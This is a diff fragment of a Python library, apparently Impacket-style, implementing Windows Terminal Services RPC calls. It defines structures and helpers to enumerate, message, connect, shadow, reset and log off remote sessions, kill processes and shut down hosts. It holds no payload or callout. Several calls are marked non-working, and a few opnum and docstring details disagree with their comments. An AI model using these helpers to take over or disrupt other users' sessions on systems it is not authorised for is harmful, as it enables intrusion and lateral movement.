+        ('ClientLogonId', DWORD),
+        ('ClientProcessId', DWORD),
+    )
+
+class RpcWinStationNotifyLogoffResponse(NDRCALL): 
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.19 OldRpcWinStationEnumerateProcesses (Opnum 34)
+# Does not work
+class OldRpcWinStationEnumerateProcesses(NDRCALL):
+    opnum = 34
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('ByteCount', DWORD),
+    )
+
+class OldRpcWinStationEnumerateProcessesResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pProcessBuffer', TS_CHAR),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.29 RpcWinStationAnnoyancePopup (Opnum 35)
+# Does not work
+class RpcWinStationAnnoyancePopup(NDRCALL):
+    opnum = 35
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonIdld', DWORD),
+    )
+
+class RpcWinStationAnnoyancePopupResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+        ('buff', UNKNOWNDATA),
+    )
+
+# 3.7.4.1.20 RpcWinStationEnumerateProcesses (Opnum 36)
+# Does not work
+class RpcWinStationEnumerateProcesses(NDRCALL):
+    opnum = 36
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('ByteCount', DWORD),
+    )
+
+class RpcWinStationEnumerateProcessesResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pProcessBuffer', TS_CHAR),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.21 RpcWinStationTerminateProcess (Opnum 37)
+class RpcWinStationTerminateProcess(NDRCALL):
+    opnum = 37
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('ProcessId', DWORD),
+        ('ExitCode', DWORD),
+    )
+
+class RpcWinStationTerminateProcessResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.32 RpcWinStationNtsdDebug (Opnum 42)
+# Unknown
+class RpcWinStationNtsdDebug(NDRCALL):
+    opnum = 42
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('ProcessId', LONG),
+        ('DbgProcessId', ULONG),
+        ('DbgThreadId', ULONG),
+        ('AttachCompletionRoutine', LPDWORD),
+    )
+
+class RpcWinStationNtsdDebugResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.22 RpcWinStationGetAllProcesses (Opnum 43)
+class RpcWinStationGetAllProcesses(NDRCALL):
+    opnum = 43
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('Level', ULONG),
+        ('pNumberOfProcesses', BOUNDED_ULONG),
+    )
+
+class RpcWinStationGetAllProcessesResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pNumberOfProcesses', BOUNDED_ULONG),
+        ('buffer',':'),
+    )
+# 3.7.4.1.23 RpcWinStationGetProcessSid (Opnum 44)
+class RpcWinStationGetProcessSid(NDRCALL):
+    opnum = 44
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('dwUniqueProcessId', DWORD),
+        ('ProcessStartTime', LARGE_INTEGER),
+        ('pProcessUserSid', TS_PBYTE),
+        ('dwSidSize', '<L=len(pProcessUserSid["Data"])'),
+        ('pdwSizeNeeded', DWORD),
+    )
+
+class RpcWinStationGetProcessSidResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pProcessUserSid', TS_PBYTE),
+        ('pdwSizeNeeded', DWORD),
+        ('ErrorCode', BOOLEAN),
+    )
+#NOT_IMPLEMENTED 3.7.4.1.24 RpcWinStationGetTermSrvCountersValue (Opnum 45)
+class RpcWinStationGetTermSrvCountersValue(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationGetTermSrvCountersValue(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in, range(0, 0x1000)] DWORD dwEntries,
+        [in, out, size_is(dwEntries)] PTS_COUNTER pCounter
+    );
+    '''
+    opnum = 45
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('dwEntries', DWORD),
+        ('pCounter', PTS_COUNTER),
+    )
+
+class RpcWinStationGetTermSrvCountersValueResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pCounter', PTS_COUNTER),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.25 RpcWinStationReInitializeSecurity (Opnum 46)
+# Does not work
+class RpcWinStationReInitializeSecurity(NDRCALL):
+    opnum = 46
+    structure = (
+        ('hServer', SERVER_HANDLE),
+    )
+
+class RpcWinStationReInitializeSecurityResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.37 RpcWinStationBroadcastSystemMessage (Opnum 47)
+'''
+LONG RpcWinStationBroadcastSystemMessage(
+ [in] SERVER_HANDLE hServer,
+ [in] ULONG sessionID,
+ [in] ULONG timeOut,
+ [in] DWORD dwFlags,
+ [in, out, ptr] DWORD* lpdwRecipients,
+ [in] ULONG uiMessage,
+ [in] UINT_PTR wParam,
+ [in] LONG_PTR lParam,
+ [in, size_is(bufferSize)] PBYTE pBuffer,
+ [in, range(0, 0x8000 )] ULONG bufferSize,
+ [in] BOOLEAN fBufferHasValidData,
+ [out] LONG* pResponse
+);
+'''
+
+#OLD 3.6.4.1.38 RpcWinStationSendWindowMessage (Opnum 48)
+'''
+LONG RpcWinStationSendWindowMessage(
+ [in] SERVER_HANDLE hServer,
+ [in] ULONG sessionID,
+ [in] ULONG timeOut,
+ [in] ULONG hWnd,
+ [in] ULONG Msg,
+ [in] UINT_PTR wParam,
+ [in] LONG_PTR lParam,
+ [in, size_is(bufferSize)] PBYTE pBuffer,
+ [in, range(0, 0x8000 )] ULONG bufferSize,
+ [in] BOOLEAN fBufferHasValidData,
+ [out] LONG* pResponse
+);
+'''
+#OLD 3.6.4.1.39 RpcWinStationNotifyNewSession (Opnum 49)
+'''
+BOOLEAN RpcWinStationNotifyNewSession(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [in] DWORD ClientLogonId
+);
+'''
+
+# 3.7.4.1.26 RpcWinStationGetLanAdapterName (Opnum 53)
+# Does not work
+class RpcWinStationGetLanAdapterName(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationGetLanAdapterName(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in, range(0, 0x1000)] DWORD PdNameSize,
+        [in, size_is(PdNameSize)] PWCHAR pPdName,
+        [in, range(0, 1024)] ULONG LanAdapter,
+        [out] ULONG* pLength,
+        [out, size_is(,*pLength)] PWCHAR* ppLanAdapter
+    );
+    '''
+    opnum = 53
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('PdNameSize', '<L=len(pPdName["Data"])'),
+        ('pPdName', TS_WCHAR),
+        ('LanAdapter', ULONG),
+    )
+
+class RpcWinStationGetLanAdapterNameResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ppLanAdapter', TS_WCHAR),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.41 RpcWinStationUpdateUserConfig (Opnum 54)
+'''
+BOOLEAN RpcWinStationUpdateUserConfig(
+ [in] SERVER_HANDLE hServer,
+ [in] DWORD ClientLogonId,
+ [in] DWORD ClientProcessId,
+ [in] DWORD UserToken,
+ [out] DWORD* pResult
+);
+'''
+#OLD 3.6.4.1.42 RpcWinStationQueryLogonCredentials (Opnum 55)
+# Does not work
+class RpcWinStationQueryLogonCredentials(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationQueryLogonCredentials(
+        [in] SERVER_HANDLE hServer,
+        [in] ULONG LogonId,
+        [out, size_is(,*pcbCredentials)]
+        PCHAR* ppCredentials,
+        [in, out] ULONG* pcbCredentials
+    );
+    '''
+    opnum = 55
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', ULONG),
+        ('pcbCredentials', ULONG),
+    )
+
+class RpcWinStationQueryLogonCredentialsResponse(NDRCALL):
+    structure = (
+        ('pResult', UNKNOWNDATA),
+    )
+
+#OLD 3.6.4.1.43 RpcWinStationRegisterConsoleNotification (Opnum 56)
+'''
+BOOLEAN RpcWinStationRegisterConsoleNotification(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [in] ULONG SessionId,
+ [in] ULONG_PTR hWnd,
+ [in] DWORD dwFlags,
+ [in] DWORD dwMask
+);
+'''
+
+#OLD 3.6.4.1.44 RpcWinStationUnRegisterConsoleNotification (Opnum 57)
+'''
+BOOLEAN RpcWinStationUnRegisterConsoleNotification(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [in] ULONG SessionId,
+ [in] ULONG hWnd
+);
+'''
+
+# 3.7.4.1.27 RpcWinStationUpdateSettings (Opnum 58)
+# Does not work
+class RpcWinStationUpdateSettings(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationUnRegisterConsoleNotification(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in] ULONG SessionId,
+        [in] ULONG hWnd
+    );
+    '''
+    opnum = 58
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('SettingsClass', DWORD),
+        ('SettingsParameters', DWORD),
+    )
+
+class RpcWinStationUpdateSettingsResponse(NDRCALL):
+    structure = (
+        ('pResult', UNKNOWNDATA),
+    )
+# 3.7.4.1.28 RpcWinStationShadowStop (Opnum 59)
+class RpcWinStationShadowStop(NDRCALL):
+    opnum = 59
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('bWait', BOOLEAN),
+    )
+
+class RpcWinStationShadowStopResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+
+# 3.7.4.1.29 RpcWinStationCloseServerEx (Opnum 60)
+class RpcWinStationCloseServerEx(NDRCALL):
+    opnum = 60
+    structure = (
+        ('hServer', SERVER_HANDLE),
+    )
+
+class RpcWinStationCloseServerExResponse(NDRCALL):
+    structure = (
+        ('phServer', SERVER_HANDLE),
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.30 RpcWinStationIsHelpAssistantSession (Opnum 61)
+# Does not work
+class RpcWinStationIsHelpAssistantSession(NDRCALL):
+    opnum = 61
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('SessionId', ULONG),
+    )
+
+class RpcWinStationIsHelpAssistantSessionResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.31 RpcWinStationGetMachinePolicy (Opnum 62)
+'''
+BOOLEAN RpcWinStationGetMachinePolicy(
+ [in] SERVER_HANDLE hServer,
+ [in, out, size_is(bufferSize)] PBYTE pPolicy,
+ [in, range(0, 0x8000 )] ULONG bufferSize
+);
+'''
+# 3.7.4.1.32 RpcWinStationCheckLoopBack (Opnum 65)
+'''
+BOOLEAN RpcWinStationCheckLoopBack(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [in] DWORD ClientLogonId,
+ [in] DWORD TargetLogonId,
+ [in, size_is(NameSize)] PWCHAR pTargetServerName,
+ [in, range(0, 1024)] DWORD NameSize
+);
+'''
+# 3.7.4.1.33 RpcConnectCallback (Opnum 66)
+class RpcConnectCallback(NDRCALL):
+    '''
+    BOOLEAN RpcConnectCallback(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in] DWORD TimeOut,
+        [in] ULONG AddressType,
+        [in, size_is(AddressSize)] PBYTE pAddress,
+        [in, range(0, 0x1000 )] ULONG AddressSize
+    );
+    '''
+    opnum = 61
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('TimeOut', DWORD),
+        ('AddressType', ULONG),
+        ('pAddress', TS_PBYTE),
+        ('AddressSize', '<L=len(pAddress["Data"])'),
+    )
+
+class RpcConnectCallbackResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+        ('out', UNKNOWNDATA),
+    )
+#OLD 3.6.4.1.52 RpcRemoteAssistancePrepareSystemRestore (Opnum 69)
+'''
+BOOLEAN RpcRemoteAssistancePrepareSystemRestore(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult
+);
+'''
+# 3.7.4.1.34 RpcWinStationGetAllProcesses_NT6 (Opnum 70)
+'''
+BOOLEAN RpcWinStationGetAllProcesses_NT6(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [in] ULONG Level,
+ [in, out] BOUNDED_ULONG* pNumberOfProcesses,
+ [out, size_is(,*pNumberOfProcesses)]
+ PTS_ALL_PROCESSES_INFO_NT6* ppTsAllProcessesInfo
+);
+'''
+
+#OLD 3.6.4.1.54 RpcWinStationRegisterNotificationEvent (Opnum 71)
+'''
+BOOLEAN RpcWinStationRegisterNotificationEvent(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [out] REGISTRATION_HANDLE* pNotificationId,
+ [in] ULONG_PTR EventHandle,
+ [in] DWORD TargetSessionId,
+ [in] DWORD dwMask,
+ [in] DWORD dwProcessId
+);
+'''
+#OLD 3.6.4.1.55 RpcWinStationUnRegisterNotificationEvent (Opnum 72)
+'''
+BOOLEAN RpcWinStationUnRegisterNotificationEvent(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+[in, out] REGISTRATION_HANDLE* NotificationId
+);
+'''
+
+#OLD 3.6.4.1.56 RpcWinStationAutoReconnect (Opnum 73)
+'''
+BOOLEAN RpcWinStationAutoReconnect(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [in] DWORD LogonId,
+ [in] DWORD flags
+);
+'''
+#OLD 3.6.4.1.57 RpcWinStationCheckAccess (Opnum 74)
+'''
+BOOLEAN RpcWinStationCheckAccess(
+ [in] SERVER_HANDLE hServer,
+ [out] DWORD* pResult,
+ [in] DWORD ClientLogonId,
+ [in] DWORD UserToken,
+ [in] ULONG LogonId,
+ [in] ULONG AccessMask
+);
+'''
+
+# 3.7.4.1.35 RpcWinStationOpenSessionDirectory (Opnum 75)
+# Does not work
+class RpcWinStationOpenSessionDirectory(NDRCALL):
+    opnum = 75
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('pszServerName', WSTR),
+    )
+
+class RpcWinStationOpenSessionDirectoryResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+
+
+################################################################################
+# Helper Functions
+################################################################################
+
+# 3.3.4.1 TermSrvSession; \pipe\LSM_API_service; 484809d6-4239-471b-b5bc-61df8c23ac48
+# 3.3.4.1.1 RpcOpenSession (Opnum 0)
+def hRpcOpenSession(dce, SessionId):
+    request = RpcOpenSession()
+    request['SessionId'] = SessionId
+    return dce.request(request)['phSession']
+
+# 3.3.4.1.2 RpcCloseSession (Opnum 1)
+def hRpcCloseSession(dce, phSession):
+    request = RpcCloseSession()
+    request['phSession'] = phSession
+    return dce.request(request)
+
+# 3.3.4.1.3 RpcConnect (Opnum 2)
+def hRpcConnect(dce, hSession, TargetSessionId, Password = None):
+    if Password is None:
+        Password = ''
+    request = RpcConnect()
+    request['hSession'] = hSession
+    request['TargetSessionId'] = TargetSessionId
+    request['szPassword'] = Password + '\0'
+    try:
+        return dce.request(request)
+    except DCERPCSessionError as e:
+        if e.error_code == 0x1: # Strange, but this error_code is returned on success
+            resp = RpcConnectResponse()
+            resp['ErrorCode'] = 0
+            return resp
+        raise e
+
+# 3.3.4.1.4 RpcDisconnect (Opnum 3)
+def hRpcDisconnect(dce, hSession):
+    request = RpcDisconnect()
+    request['hSession'] = hSession
+    return dce.request(request)
+
+# 3.3.4.1.5 RpcLogoff (Opnum 4)
+def hRpcLogoff(dce, hSession):
+    request = RpcLogoff()
+    request['hSession'] = hSession
+    try:
+        return dce.request(request)
+    except DCERPCSessionError as e:
+        if e.error_code == 0x10000000: # Strange, but this error_code is returned on success
+            resp = RpcLogoffResponse()
+            resp['ErrorCode'] = 0
+            return resp
+        raise e
+        
+    return dce.request(request)
+
+# 3.3.4.1.6 RpcGetUserName (Opnum 5)
+def hRpcGetUserName(dce, hSession):
+    request = RpcGetUserName()
+    request['hSession'] = hSession
+    return dce.request(request)
+
+# 3.3.4.1.7 RpcGetTerminalName (Opnum 6)
+def hRpcGetTerminalName(dce, hSession):
+    request = RpcGetTerminalName()
+    request['hSession'] = hSession
+    return dce.request(request)
+
+# 3.3.4.1.8 RpcGetState (Opnum 7)
+def hRpcGetState(dce, hSession):
+    request = RpcGetState()
+    request['hSession'] = hSession
+    return dce.request(request)
+
+# 3.3.4.1.9 RpcIsSessionDesktopLocked (Opnum 8)
+def hRpcIsSessionDesktopLocked(dce, hSession):
+    request = RpcIsSessionDesktopLocked()
+    request['hSession'] = hSession
+    return dce.request(request)
+
+# 3.3.4.1.10 RpcShowMessageBox (Opnum 9)
+def hRpcShowMessageBox(dce, hSession, Title, Message, Style = 0, Timeout = 0, DoNotWait = True):
+    Title = Title if Title is not None else ' '
+    Message = Message if Message is not None else ''
+
+    request = RpcShowMessageBox()
+    request['hSession'] = hSession
+    request['szTitle'] = Title + '\0'
+    request['szMessage'] = Message + '\0'
+    request['ulStyle'] = Style
+    request['ulTimeout'] = Timeout
+    request['bDoNotWait'] = DoNotWait
+    return dce.request(request)
+
+# 3.3.4.1.11 RpcGetTimes (Opnum 10)
+def hRpcGetTimes(dce, hSession):
+    request = RpcGetTimes()
+    request['hSession'] = hSession
+    return dce.request(request)
+
+# 3.3.4.1.12 RpcGetSessionCounters (Opnum 11)
+def hRpcGetSessionCounters(dce, Entries):
+    request = RpcGetSessionCounters()
+    request['uEntries'] = Entries
+    return dce.request(request)
+
+# 3.3.4.1.13 RpcGetSessionInformation (Opnum 12)
+def hRpcGetSessionInformation(dce, SessionId):
+    request = RpcGetSessionInformation()
+    request['SessionId'] = SessionId
+    return dce.request(request)
+
+# 3.3.4.1.14 RpcGetLoggedOnCount (Opnum 15)
+def hRpcGetLoggedOnCount(dce):
+    request = RpcGetLoggedOnCount()
+    return dce.request(request)
+
+# 3.3.4.1.15 RpcGetSessionType (Opnum 16)
+def hRpcGetSessionType(dce, SessionId):
+    request = RpcGetSessionType()
+    request['SessionId'] = SessionId
+    return dce.request(request)
+
+# 3.3.4.1.16 RpcGetSessionInformationEx (Opnum 17)
+def hRpcGetSessionInformationEx(dce, SessionId):
+    request = RpcGetSessionInformationEx()
+    request['SessionId'] = SessionId
+    request['Level'] = 1
+    return dce.request(request)
+    '''
+    RpcGetSessionInformationExResponse 
+    LSMSessionInfoExPtr:            
+    tag:                             1 
+    LSM_SessionInfo_Level1:         
+        SessionState:                    State_Active 
+        SessionFlags:                    WTS_SESSIONSTATE_UNLOCK 
+        SessionName:                     'RDP-Tcp#0' 
+        DomainName:                      'W11-WKS' 
+        UserName:                        'john' 
+        ConnectTime:                     datetime.datetime(2022, 5, 9, 2, 34, 48, 700543) 
+        DisconnectTime:                  datetime.datetime(2022, 5, 9, 2, 34, 48, 547684) 
+        LogonTime:                       datetime.datetime(2022, 5, 9, 2, 23, 31, 119361) 
+        LastInputTime:                   datetime.datetime(1601, 1, 1, 2, 20, 54) 
+        ProtocolDataSize:                1816 
+        ProtocolData:                    
+    '''
+
+# 3.3.4.2 TermSrvNotification (LSM Notification); \PIPE\LSM_API_service; 11899a43-2b68-4a76-92e3-a3d6ad8c26ce
+# 3.3.4.2.1 RpcWaitForSessionState (Opnum 0)
+def hRpcWaitForSessionState(dce, SessionId, State, Timeout):
+    # State from WINSTATIONSTATECLASS class
+    request = RpcWaitForSessionState()
+    request['SessionId'] = SessionId
+    request['State'] = State
+    request['Timeout'] = Timeout
+    return dce.request(request)
+
+# 3.3.4.2.2 RpcRegisterAsyncNotification (Opnum 1)
+def hRpcRegisterAsyncNotification(dce, SessionId, Mask):
+    request = RpcRegisterAsyncNotification()
+    request['SessionId'] = SessionId
+    request['Mask'] = Mask
+    return dce.request(request)['phNotify']
+
+# 3.3.4.2.3 RpcWaitAsyncNotification (Opnum 2)
+def hRpcWaitAsyncNotification(dce, hNotify):
+    request = RpcWaitAsyncNotification()
+    request['hNotify'] = hNotify
+    return dce.request(request)
+
+# 3.3.4.2.4 RpcUnRegisterAsyncNotification (Opnum 3)
+def hRpcUnRegisterAsyncNotification(dce, hNotify):
+    request = RpcUnRegisterAsyncNotification()
+    request['hNotify'] = hNotify
+    return dce.request(request)
+
+# 3.3.4.3 TermSrvEnumeration; 88143fd0-c28d-4b2b-8fef-8d882f6a9390; \pipe\LSM_API_service
+# 3.3.4.3.1 RpcOpenEnum (Opnum 0)
+def hRpcOpenEnum(dce):
+    request = RpcOpenEnum()
+    return dce.request(request)['phEnum']
+
+# 3.3.4.3.2 RpcCloseEnum (Opnum 1)
+def hRpcCloseEnum(dce, phEnum):
+    request = RpcCloseEnum()
+    request['phEnum'] = phEnum
+    return dce.request(request)
+
+#NOT_IMPLEMENTED 3.3.4.3.3 RpcFilterByState (Opnum 2)
+
+#NOT_IMPLEMENTED 3.3.4.3.4 RpcFilterByCallersName (Opnum 3)
+
+#NOT_IMPLEMENTED 3.3.4.3.5 RpcEnumAddFilter (Opnum 4)
+
+# 3.3.4.3.6 RpcGetEnumResult (Opnum 5)
+def hRpcGetEnumResult(dce, hEnum, Level = 1):
+    request = RpcGetEnumResult()
+    request['hEnum'] = hEnum
+    request['Level'] = Level
+    return dce.request(request)
+
+#NOT_IMPLEMENTED 3.3.4.3.7 RpcFilterBySessionType (Opnum 6)
+
+#NOT_IMPLEMENTED 3.3.4.3.8 RpcGetSessionIds (Opnum 8)
+
+# 3.3.4.3.9 RpcGetEnumResultEx (Opnum 9)
+def hRpcGetEnumResultEx(dce, hEnum, Level = 1):
+    request = RpcGetEnumResultEx()
+    request['hEnum'] = hEnum
+    request['Level'] = Level
+    return dce.request(request)
+
+# 3.3.4.3.10 RpcGetAllSessions (Opnum 10)
+def hRpcGetAllSessions(dce, Level = 1):
+    request = RpcGetAllSessions()
+    request['pLevel'] = Level
+    return dce.request(request)
+
+#NOT_IMPLEMENTED 3.3.4.3.11 RpcGetAllSessionsEx (Opnum 11)
+
+
+# 3.5.4.1 RCMPublic bde95fdf-eee0-45de-9e12-e5a61cd0d4fe \pipe\TermSrv_API_service
+# 3.5.4.1.1 RpcGetClientData (Opnum 0)
+def hRpcGetClientData(dce, SessionId):
+    request = RpcGetClientData()
+    request['SessionId'] = SessionId
+    try:
+        return dce.request(request)
+    except:
+        return None
+
+# 3.5.4.1.2 RpcGetConfigData (Opnum 1)
+def hRpcGetConfigData(dce, SessionId):
+    request = RpcGetConfigData()
+    request['SessionId'] = SessionId
+    return dce.request(request)
+
+#NOT_IMPLEMENTED 3.5.4.1.3 RpcGetProtocolStatus (Opnum 2)
+
+# 3.5.4.1.4 RpcGetLastInputTime (Opnum 3)
+def hRpcGetLastInputTime(dce, SessionId):
+    request = RpcGetLastInputTime()
+    request['SessionId'] = SessionId
+    return dce.request(request)
+
+# 3.5.4.1.5 RpcGetRemoteAddress (Opnum 4)
+def hRpcGetRemoteAddress(dce, SessionId):
+    request = RpcGetRemoteAddress()
+    request['SessionId'] = SessionId
+    try:
+        return dce.request(request)
+    except:
+        return None
+
+# 3.5.4.1.6 RpcGetAllListeners (Opnum 8)
+def hRpcGetAllListeners(dce):
+    request = RpcGetAllListeners()
+    request['Level'] = 1
+    return dce.request(request)
+
+#NOT_IMPLEMENTED 3.5.4.1.7 RpcGetSessionProtocolLastInputTime (Opnum 9)
+#NOT_IMPLEMENTED 3.5.4.1.8 RpcGetUserCertificates (Opnum 10)
+#NOT_IMPLEMENTED 3.5.4.1.9 RpcQuerySessionData (Opnum 11)
+
+# 3.5.4.2 RCMListener 497d95a6-2d27-4bf5-9bbd-a6046957133c \pipe\TermSrv_API_service or \pipe\Ctx_WinStation_API_service
+# 3.5.4.2.1 RpcOpenListener (Opnum 0)
+def hRpcOpenListener(dce, ListenerName):
+    request = RpcOpenListener()
+    request['szListenerName'] = ListenerName + '\0'
+    return dce.request(request)['phListener']
+
+# 3.5.4.2.2 RpcCloseListener (Opnum 1)
+def hRpcCloseListener(dce, phListener):
+    request = RpcCloseListener()
+    request['phListener'] = phListener
+    return dce.request(request)
+    
+# 3.5.4.2.3 RpcStopListener (Opnum 2)
+def hRpcStopListener(dce, phListener):
+    request = RpcStopListener()
+    request['phListener'] = phListener
+    return dce.request(request)
+
+# 3.5.4.2.4 RpcStartListener (Opnum 3)
+def hRpcStartListener(dce, phListener):
+    request = RpcStartListener()
+    request['phListener'] = phListener
+    return dce.request(request)
+
+# 3.5.4.2.5 RpcIsListening (Opnum 4)
+def hRpcIsListening(dce, phListener):
+    request = RpcIsListening()
+    request['phListener'] = phListener
+    return dce.request(request)
+
+
+# 3.7.4.1 LegacyApi 5ca4a760-ebb1-11cf-8611-00a0245420ed \pipe\Ctx_WinStation_API_service
+#
+# In legacy api, response error_codes are represented as 1 byte boolean at the end of the response
+# so we have to ignore error checking by rpcrt module, by checkError=False
+#
+# 3.7.4.1.1 RpcWinStationOpenServer (Opnum 0)
+def hRpcWinStationOpenServer(dce):
+    request = RpcWinStationOpenServer()
+    resp = dce.request(request, checkError=False)
+    if resp['ErrorCode']:
+        return resp['phServer']
+    return None
+
+# 3.7.4.1.2 RpcWinStationCloseServer (Opnum 1)
+def hRpcWinStationCloseServer(dce, hServer):
+    request = RpcWinStationCloseServer()
+    request['hServer'] = hServer
+    return dce.request(request, checkError=False)
+
+#DOES_NOT_WORK 3.7.4.1.3 RpcIcaServerPing (Opnum 2)
+def hRpcIcaServerPing(dce, hServer):
+    request = RpcIcaServerPing()
+    request['hServer'] = hServer
+    return dce.request(request, checkError=False)
+
+
+# 3.7.4.1.8 RpcWinStationSendMessage (Opnum 7)
+def hRpcWinStationSendMessage(dce, hServer, LogonId, Title, Message, DoNotWait = True):
+    request = RpcWinStationSendMessage()
+    request['hServer'] = hServer
+    request['LogonId'] = LogonId
+    request['pTitle'] = ZEROPAD(Title,1024)
+    request['pMessage'] = ZEROPAD(Message,1024)
+    request['DoNotWait'] = DoNotWait
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.9 RpcLogonIdFromWinStationName (Opnum 8)
+def hRpcLogonIdFromWinStationName(dce, hServer, WinStationName):
+    request = RpcLogonIdFromWinStationName()
+    request['hServer'] = hServer
+    request['pWinStationName'] = ZEROPAD(WinStationName, WINSTATIONNAME_LENGTH + 1)
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.10 RpcWinStationNameFromLogonId (Opnum 9)
+def hRpcWinStationNameFromLogonId(dce, hServer, LoginId):
+    request = RpcWinStationNameFromLogonId()
+    request['hServer'] = hServer
+    request['LoginId'] = LoginId
+    request['pWinStationName'] = ZEROPAD('', WINSTATIONNAME_LENGTH + 1)
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.11 RpcWinStationConnect (Opnum 10)
+def hRpcWinStationConnect(dce, hServer, ClientLogonId, ConnectLogonId, TargetLogonId, Password, Wait = False):
+    # Session #1 in disconnected state
+    # You want to attach session #1 to your session and you know
+    # the password of the logged in user in session #1
+    # Your session ID: 3
+    # Parameters:
+    # ClientLogonId = 1
+    # ConnectLogonId = d
+    # TargetLogonId = 3
+    request = RpcWinStationConnect()
+    request['hServer'] = hServer
+    request['ClientLogonId'] = ClientLogonId
+    request['ConnectLogonId'] = ConnectLogonId
+    request['TargetLogonId'] = TargetLogonId
+    request['pPassword'] = Password + '\0'
+    request['Wait'] = Wait
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.12 RpcWinStationDisconnect (Opnum 13)
+def hRpcWinStationDisconnect(dce, hServer, LoginId, bWait = False):
+    request = RpcWinStationDisconnect()
+    request['hServer'] = hServer
+    request['LoginId'] = LoginId
+    request['bWait'] = bWait
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.13 RpcWinStationReset (Opnum 14)
+def hRpcWinStationReset(dce, hServer, LogonId, bWait = False):
+    request = RpcWinStationReset()
+    request['hServer'] = hServer
+    request['LogonId'] = LogonId
+    request['bWait'] = bWait
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.14 RpcWinStationShutdownSystem (Opnum 15)
+# ShutdownFlags == ENUM ShutdownFlags
+def hRpcWinStationShutdownSystem(dce, hServer, ClientLogonId, ShutdownFlags):
+    request = RpcWinStationShutdownSystem()
+    request['hServer'] = hServer
+    request['ClientLogonId'] = ClientLogonId
+    request['ShutdownFlags'] = ShutdownFlags
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.15 RpcWinStationWaitSystemEvent (Opnum 16)
+# EventMask == ENUM EventMask
+def hRpcWinStationWaitSystemEvent(dce, hServer, EventMask):
+    request = RpcWinStationWaitSystemEvent()
+    request['hServer'] = hServer
+    request['EventMask'] = EventMask
+    return dce.request(request, checkError=False)
+
+
+# 3.7.4.1.16 RpcWinStationShadow (Opnum 17)
+def hRpcWinStationShadow(dce, hServer, LogonId, pTargetServerName, TargetLogonId, HotKeyVk, HotkeyModifiers):
+    request = RpcWinStationShadow()
+    request['hServer'] = hServer
+    request['LogonId'] = LogonId
+    request['pTargetServerName'] = pTargetServerName
+    request['TargetLogonId'] = TargetLogonId
+    request['HotKeyVk'] = HotKeyVk
+    request['HotkeyModifiers'] = HotkeyModifiers
